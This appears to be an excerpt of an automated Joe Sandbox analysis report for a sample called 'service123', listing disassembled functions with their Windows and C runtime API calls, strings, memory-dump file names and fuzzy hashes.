Instruction Fuzzy Hash: 166136B260A3129FC3009F29CAC595ABBE5BB98784F55892DF4C8D7B11D371E844CB93

Function 6C7C7710 Relevance: 10.7, APIs: 6, Strings: 1, Instructions: 211stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C813320: memset.MSVCRT ref: 6C813365

strcmp.MSVCRT ref: 6C7C7771
strlen.MSVCRT ref: 6C7C778C
strlen.MSVCRT ref: 6C7C77D3
strlen.MSVCRT ref: 6C7C7844
strlen.MSVCRT ref: 6C7C78B2

Strings

*, xrefs: 6C7C7990

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen$memsetstrcmp
String ID: *
API String ID: 3639840916-163128923
Opcode ID: 8709facec280c1b75e9098570107a7c88c2f9a55694dfc352535a8fb018cb917
Instruction ID: 72c6b37da1a05a0882a461e89dc8ab52cf872978a82cff7290305306698fab13
Opcode Fuzzy Hash: 8709facec280c1b75e9098570107a7c88c2f9a55694dfc352535a8fb018cb917
Instruction Fuzzy Hash: 2E8137B5B096018FDB10DF29C68865EFBF5FF85308F01896DD9559B710DB35A809CB82

Function 6C7AE8E0 Relevance: 10.7, APIs: 7, Instructions: 183COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: strlen
String ID:
API String ID: 39653677-0
Opcode ID: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction ID: ec24eabc7e70acf7321bd4b9a4777fe22a1726fcb9dd1979394cc555e403d902
Opcode Fuzzy Hash: 6949fccd0a9c3e9d3ac8c5b45f2aac2a255c09ca815fc16772279bff97c29dd2
Instruction Fuzzy Hash: 6C518C7050970D8FC710CF99C29476ABBE0BF8A308F444B6EE8999B650D330D957CB9A

Function 6C7AE340 Relevance: 10.6, APIs: 7, Instructions: 126synchronizationCOMMON

Download Yara Rule

APIs

CreateSemaphoreW.KERNEL32 ref: 6C7AE487
WaitForSingleObject.KERNEL32 ref: 6C7AE4C8

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: CreateObjectSemaphoreSingleWait
String ID:
API String ID: 1168595426-0
Opcode ID: 72891f37a63385b340be447041f9fadfe66e0ff2086ceb20f70c7d1fa1952ef8
Instruction ID: 0b330c2ac6f7137b528199545310b358af5d78b456663823620008b98324308d
Opcode Fuzzy Hash: 72891f37a63385b340be447041f9fadfe66e0ff2086ceb20f70c7d1fa1952ef8
Instruction Fuzzy Hash: 3D510670705215CFDB24DFA9C68871A7BF5BB0671CF118A39E86487640E730E956CBE2

Function 6C7B01F0 Relevance: 10.6, APIs: 7, Instructions: 65COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 6C7B0209
memcpy.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C7B022D
malloc.MSVCRT ref: 6C7B0247
memset.MSVCRT ref: 6C7B0275
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort$malloc$memcpymemset
String ID:
API String ID: 334492700-0
Opcode ID: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction ID: abdd2cb2fa7287da7c0d3651bd6861d5a64a58618ee0acaaeb0dc48ed5fa5e3a
Opcode Fuzzy Hash: e6d7780d917140ca2a5588e03258049156473324d9afcb76f04c1c6ed51653e4
Instruction Fuzzy Hash: 6A118FB56056049FD700AF68D688899FBF4FB55258F05897DD858E7B00E731D508C621

Function 00958120 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 0095812C
GetProcAddress.KERNEL32 ref: 0095814C
GetProcAddress.KERNEL32 ref: 0095818B

Strings

msvcrt.dll, xrefs: 00958125
___lc_codepage_func, xrefs: 00958144
__lc_codepage, xrefs: 00958180

Memory Dump Source

Source File: 00000009.00000002.4137335593.0000000000951000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00950000, based on PE: true

Associated: 00000009.00000002.4137298907.0000000000950000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137371507.000000000095A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137424095.000000000095E000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000009.00000002.4137468592.0000000000961000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_950000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: b34c273b6858fd4d2d0526bec5bb52227346674c5db7e88c00d11997a97fb945
Instruction ID: 7f8dc11f9ee65f790a4db58514be76047e911cb1d478fd4b09808a1c699add76
Opcode Fuzzy Hash: b34c273b6858fd4d2d0526bec5bb52227346674c5db7e88c00d11997a97fb945
Instruction Fuzzy Hash: 5AF049B081D7108B9720EB3B6D0529B7AE4AA08312F45493ACC89D7240EA74844DDBA3

Function 6C7B9171 Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 35libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 6C7B917C
GetProcAddress.KERNEL32 ref: 6C7B919C
GetProcAddress.KERNEL32 ref: 6C7B91DB

Strings

___lc_codepage_func, xrefs: 6C7B9194
__lc_codepage, xrefs: 6C7B91D0
msvcrt.dll, xrefs: 6C7B9175

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: ___lc_codepage_func$__lc_codepage$msvcrt.dll
API String ID: 667068680-1145701848
Opcode ID: a6b740f185b8f8028a55d4f61f12522b4f7f39da9187c526a9b191425b064873
Instruction ID: 73b1e40477a57b7642536402f42f3f26afd1d6f47b73b0c2ae863431568ac388
Opcode Fuzzy Hash: a6b740f185b8f8028a55d4f61f12522b4f7f39da9187c526a9b191425b064873
Instruction Fuzzy Hash: 0AF09CB15452158BAB107F3C5F0E2497BF46665254F40057DD8ADD7600F230D414D7E3

Function 6C7AEA9B Relevance: 10.5, APIs: 7, Instructions: 21COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D60
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction ID: 38ae2b8fcc324b91c5e53ec7542cf520a42e96a7e5d25f46ec129b345f4e94c4
Opcode Fuzzy Hash: 1e0c335cc361dda1bc33d437742637b5b623609a86091116d78be9412fd93d2e
Instruction Fuzzy Hash: 3AB01235CD923DCB47305DFC47191947659B6373857049E43C45A73D04D722E0079062

Function 6C844AE0 Relevance: 10.2, APIs: 8, Instructions: 158COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C84B8AE), ref: 6C844B63
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C84B8AE), ref: 6C844BA5

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction ID: 04e2fc64960d9085444c2671413ee88bdd625250d4d356b55f012e364f51d51f
Opcode Fuzzy Hash: 7118f199aca9bda872a9f066d4d2f0c5f0939fc9cd3f83570954fc8ac8eae853
Instruction Fuzzy Hash: 2961E5B4609709DFC714DF29D28461ABBE0BFD9754F14C92DE4AA8B760E730E844CB52

Function 6C840970 Relevance: 10.2, APIs: 8, Instructions: 150COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C7D92A3,00000003), ref: 6C8409ED
memcpy.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,00000000,?,6C7D92A3,00000003), ref: 6C840A2C

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction ID: 1cf59685efc87ffd77821ed860c62bc755da4ff1c42e04fde655e7bc4f0a9367
Opcode Fuzzy Hash: 8eeda5daa0903fc6a0a1b83168d6405fc1266b630737f5cb9a0f8ae4aa89840c
Instruction Fuzzy Hash: 4261B2B450974ACFC714DF19C29061AFBE0BFA9754F10C92EE8A98B761D730E845CB52

Function 6C842B90 Relevance: 9.2, APIs: 2, Strings: 4, Instructions: 232COMMON

Download Yara Rule

APIs

memcpy.MSVCRT(?,?,?,6C83736E), ref: 6C842C03

Strings

%s: __pos (which is %zu) > this->size() (which is %zu), xrefs: 6C842D14, 6C842D71, 6C842DD6
string::string, xrefs: 6C842DCE
basic_string::_M_create, xrefs: 6C842C1A, 6C842CBA
basic_string::basic_string, xrefs: 6C842D0C, 6C842D69

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: memcpy
String ID: %s: __pos (which is %zu) > this->size() (which is %zu)$basic_string::_M_create$basic_string::basic_string$string::string
API String ID: 3510742995-126128797
Opcode ID: f46d8d2c1624faf9890fa4c8f81378d9288d912828372123667829995c6bc070
Instruction ID: 38b9825c65ae1dccd16cc489e0f26965110df244d028a50e23d8a53d101893a3
Opcode Fuzzy Hash: f46d8d2c1624faf9890fa4c8f81378d9288d912828372123667829995c6bc070
Instruction Fuzzy Hash: 4F715DB29093508FC310DF6CD58064AFBE1BF99218F55CEAEE8889B756D335C845CB92

Function 6C7AEB70 Relevance: 9.2, APIs: 6, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction ID: 917f00cf8fdfff52cbcffd61c5f1d5f02e56b71c13c4fc987e21a567f064da71
Opcode Fuzzy Hash: 9ff8390f7064b2eec1ab42af84fa55342ea2eed4810115e48aac89551600db43
Instruction Fuzzy Hash: 7C61AE3160930C8FD714CF99C69465AF7E1AF89308F448B2EE8989BB44E730D9578B96

Function 6C7BB060 Relevance: 9.1, APIs: 6, Instructions: 145COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7BAF3F), ref: 6C875FF0
abort.MSVCRT(?,?,?,?,?,?,6C7BAE9C,?,?,?,?,?,?,6C876040), ref: 6C875FF8
abort.MSVCRT(?,?,?,?,?,?,6C7BAE9C,?,?,?,?,?,?,6C876040), ref: 6C876000
abort.MSVCRT(?,?,?,?,?,?,6C7BAE9C,?,?,?,?,?,?,6C876040), ref: 6C876008

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 66cc7798edcb99dc6b1a104b95e380fd058bacaaad82efa30426adadb9e2f5f6
Instruction ID: eb1fe633318bee661d2a497249984797a0da1d8b6509d7dfad555a7573740e7b
Opcode Fuzzy Hash: 66cc7798edcb99dc6b1a104b95e380fd058bacaaad82efa30426adadb9e2f5f6
Instruction Fuzzy Hash: 264106716053148BCB20AF78C6C92AEB7A1FF82318F144C7DD494ABB14E7329849C7A2

Function 6C7A1020 Relevance: 9.1, APIs: 6, Instructions: 100sleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(?,?,?,6C7A1281,?,?,?,?,?,?,6C7A13AE), ref: 6C7A1057
_amsg_exit.MSVCRT ref: 6C7A1086

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: Sleep_amsg_exit
String ID:
API String ID: 1015461914-0
Opcode ID: 86a2f298e3b59b7836bd8c487c26a22a12b5af91c127fbbdb6731f6c8e15da6c
Instruction ID: b5073200e0b9b4619feae002aa38d6672048b717aee82cf95f58d6f3c873c417
Opcode Fuzzy Hash: 86a2f298e3b59b7836bd8c487c26a22a12b5af91c127fbbdb6731f6c8e15da6c
Instruction Fuzzy Hash: 42319A71309240CBEB109FABC78535B77F0EB82388F508A38D5948BA40D635C98ACBD2

Function 6C7C1F00 Relevance: 9.0, APIs: 6, Instructions: 50stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C7C1F18
strlen.MSVCRT ref: 6C7C1F22
memcpy.MSVCRT ref: 6C7C1F3F
setlocale.MSVCRT ref: 6C7C1F52
wcsftime.MSVCRT ref: 6C7C1F76
setlocale.MSVCRT ref: 6C7C1F88

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrlenwcsftime
String ID:
API String ID: 3412479102-0
Opcode ID: 424b18269c9568b601aa084ce7b792cc48ee0dbfdd54ac89f4617c58107e666f
Instruction ID: d50a45f3ec55f50c21bd1f710f73ab31511530b98fa34da47d6300a60c1460b9
Opcode Fuzzy Hash: 424b18269c9568b601aa084ce7b792cc48ee0dbfdd54ac89f4617c58107e666f
Instruction Fuzzy Hash: E81192B0A09710AFC740AF69C68865EBBF4BFA9754F418C2DE4D897710E7789844CB92

Function 6C7C1C50 Relevance: 9.0, APIs: 6, Instructions: 49stringCOMMON

Download Yara Rule

APIs

setlocale.MSVCRT ref: 6C7C1C68
strlen.MSVCRT ref: 6C7C1C72
memcpy.MSVCRT ref: 6C7C1C8F
setlocale.MSVCRT ref: 6C7C1CA2
strftime.MSVCRT ref: 6C7C1CC6
setlocale.MSVCRT ref: 6C7C1CD8

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: setlocale$memcpystrftimestrlen
String ID:
API String ID: 1843691881-0
Opcode ID: 6c6be702ecd5bb5de11d644345ab9c433beb98d3ffe32bd8be6ea1cefaf23c18
Instruction ID: 27bbd5ef498a464e8f6f1c3e1e3d4c565d19dcb490f473623cfc1e3e935c3792
Opcode Fuzzy Hash: 6c6be702ecd5bb5de11d644345ab9c433beb98d3ffe32bd8be6ea1cefaf23c18
Instruction Fuzzy Hash: BA11C2B0509310AFC340AF68C68875EBBF4BFA5644F418C2DE8D897701E778D844CB92

Function 6C7AED31 Relevance: 9.0, APIs: 6, Instructions: 19COMMON

Download Yara Rule

APIs

abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D65
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6A
abort.MSVCRT(?,?,?,?,?,?,6C7AE2F4,?,?,?,?,?,?,00000000,00000001,6C7B008D), ref: 6C876D6F
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D74
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D79
abort.MSVCRT(?,?,00000000,00000000,?,76F8E010,6C7B038F), ref: 6C876D7E

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137941648.000000006C8C8000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137984562.000000006C8C9000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4138020230.000000006C8CC000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_6c7a0000_service123.jbxd

Similarity

API ID: abort
String ID:
API String ID: 4206212132-0
Opcode ID: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction ID: f4c6dd079787ff452ef8b70bbca93536cfc1c16e664d30a9c357e501c63825c6
Opcode Fuzzy Hash: 43ff2732fdef0f94484c1c8e9571a78a07aad364bf0272b15e68b5917b8ab3da
Instruction Fuzzy Hash: 7EB01231CC917CC6C6305DFC43593DAB65DA723384F000E1BC16673C08C623A0438156

Function 6C7BE0D0 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 130windowCOMMON

Download Yara Rule

APIs

FormatMessageA.KERNEL32 ref: 6C7BE117
LocalFree.KERNEL32 ref: 6C7BE14B

Strings

Unknown error code, xrefs: 6C7BE18C
basic_string: construction from null is not valid, xrefs: 6C7BE1A7

Memory Dump Source

Source File: 00000009.00000002.4137645312.000000006C7A1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C7A0000, based on PE: true

Associated: 00000009.00000002.4137616546.000000006C7A0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137847324.000000006C87D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.4137878945.000000006C87F000.00000002.00000001.01000000.0000000F.sdmpDownload File
